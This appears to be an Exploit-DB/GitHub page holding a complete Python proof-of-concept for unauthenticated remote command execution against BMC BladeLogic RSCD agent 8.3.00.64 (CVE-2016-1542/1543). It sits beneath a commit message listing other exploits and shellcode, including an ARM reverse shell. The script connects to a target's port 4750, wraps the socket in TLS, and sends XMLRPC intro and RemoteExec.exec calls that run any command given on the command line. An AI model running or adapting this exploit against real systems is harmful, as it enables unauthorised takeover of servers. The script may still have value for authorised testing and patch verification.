acaa042761
21 changes to exploits/shellcodes Artifex MuJS 1.0.2 - Denial of Service Artifex MuJS 1.0.2 - Integer Overflow BMC BladeLogic 8.3.00.64 - Remote Command Execution Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection Gnew 2018.1 - Cross-Site Request Forgery Nexpose < 6.4.66 - Cross-Site Request Forgery Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download Task Rabbit Clone 1.0 - 'id' SQL Injection TSiteBuilder 1.0 - SQL Injection Hot Scripts Clone - 'subctid' SQL Injection Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection Buddy Zone 2.9.9 - SQL Injection Netis WF2419 Router - Cross-Site Request Forgery KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Linux/x86 - Egghunter Shellcode (12 Bytes) Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)
116 lines
No EOL
4 KiB
Python
Executable file
116 lines
No EOL
4 KiB
Python
Executable file
# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
|
|
# Filename: BMC_rexec.py
|
|
# Github: https://github.com/bao7uo/bmc_bladelogic
|
|
# Date: 2018-01-24
|
|
# Exploit Author: Paul Taylor / Foregenix Ltd
|
|
# Website: http://www.foregenix.com/blog
|
|
# Version: BMC RSCD agent 8.3.00.64
|
|
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
|
|
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
|
|
# Tested on: 8.3.00.64
|
|
|
|
#!/usr/bin/python
|
|
|
|
# BMC BladeLogic RSCD agent remote exec - XMLRPC version
|
|
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
|
|
|
|
# By Paul Taylor / Foregenix Ltd
|
|
|
|
# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
|
|
# Credit: https://github.com/yaolga
|
|
|
|
# Credit: Nick Bloor for AWS image for testing :-)
|
|
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE
|
|
|
|
import socket
|
|
import ssl
|
|
import sys
|
|
import argparse
|
|
import requests
|
|
import httplib
|
|
from requests.packages.urllib3 import PoolManager
|
|
from requests.packages.urllib3.connection import HTTPConnection
|
|
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
|
|
from requests.adapters import HTTPAdapter
|
|
|
|
|
|
class MyHTTPConnection(HTTPConnection):
|
|
def __init__(self, unix_socket_url, timeout=60):
|
|
HTTPConnection.__init__(self, HOST, timeout=timeout)
|
|
self.unix_socket_url = unix_socket_url
|
|
self.timeout = timeout
|
|
|
|
def connect(self):
|
|
self.sock = wrappedSocket
|
|
|
|
|
|
class MyHTTPConnectionPool(HTTPConnectionPool):
|
|
def __init__(self, socket_path, timeout=60):
|
|
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
|
|
self.socket_path = socket_path
|
|
self.timeout = timeout
|
|
|
|
def _new_conn(self):
|
|
return MyHTTPConnection(self.socket_path, self.timeout)
|
|
|
|
|
|
class MyAdapter(HTTPAdapter):
|
|
def __init__(self, timeout=60):
|
|
super(MyAdapter, self).__init__()
|
|
self.timeout = timeout
|
|
|
|
def get_connection(self, socket_path, proxies=None):
|
|
return MyHTTPConnectionPool(socket_path, self.timeout)
|
|
|
|
def request_url(self, request, proxies):
|
|
return request.path_url
|
|
|
|
|
|
def optParser():
|
|
parser = argparse.ArgumentParser(
|
|
description="Remote exec " +
|
|
"BladeLogic Server Automation RSCD agent"
|
|
)
|
|
parser.add_argument("host", help="IP address of a target system")
|
|
parser.add_argument(
|
|
"-p",
|
|
"--port",
|
|
type=int,
|
|
default=4750,
|
|
help="TCP port (default: 4750)"
|
|
)
|
|
parser.add_argument("command", help="Command to execute")
|
|
opts = parser.parse_args()
|
|
return opts
|
|
|
|
|
|
def sendXMLRPC(host, port, packet, tlsrequest):
|
|
r = tlsrequest.post(
|
|
'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
|
|
)
|
|
print r.status_code
|
|
print r.content
|
|
return
|
|
|
|
|
|
intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
|
|
options = optParser()
|
|
rexec = options.command
|
|
PORT = options.port
|
|
HOST = options.host
|
|
rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec + """</value></param></params></methodCall>"""
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.connect((HOST, PORT))
|
|
|
|
sock.sendall("TLSRPC")
|
|
wrappedSocket = ssl.wrap_socket(sock)
|
|
|
|
adapter = MyAdapter()
|
|
s = requests.session()
|
|
s.mount("http://", adapter)
|
|
|
|
sendXMLRPC(HOST, PORT, intro, s)
|
|
sendXMLRPC(HOST, PORT, rexec, s)
|
|
|
|
wrappedSocket.close() |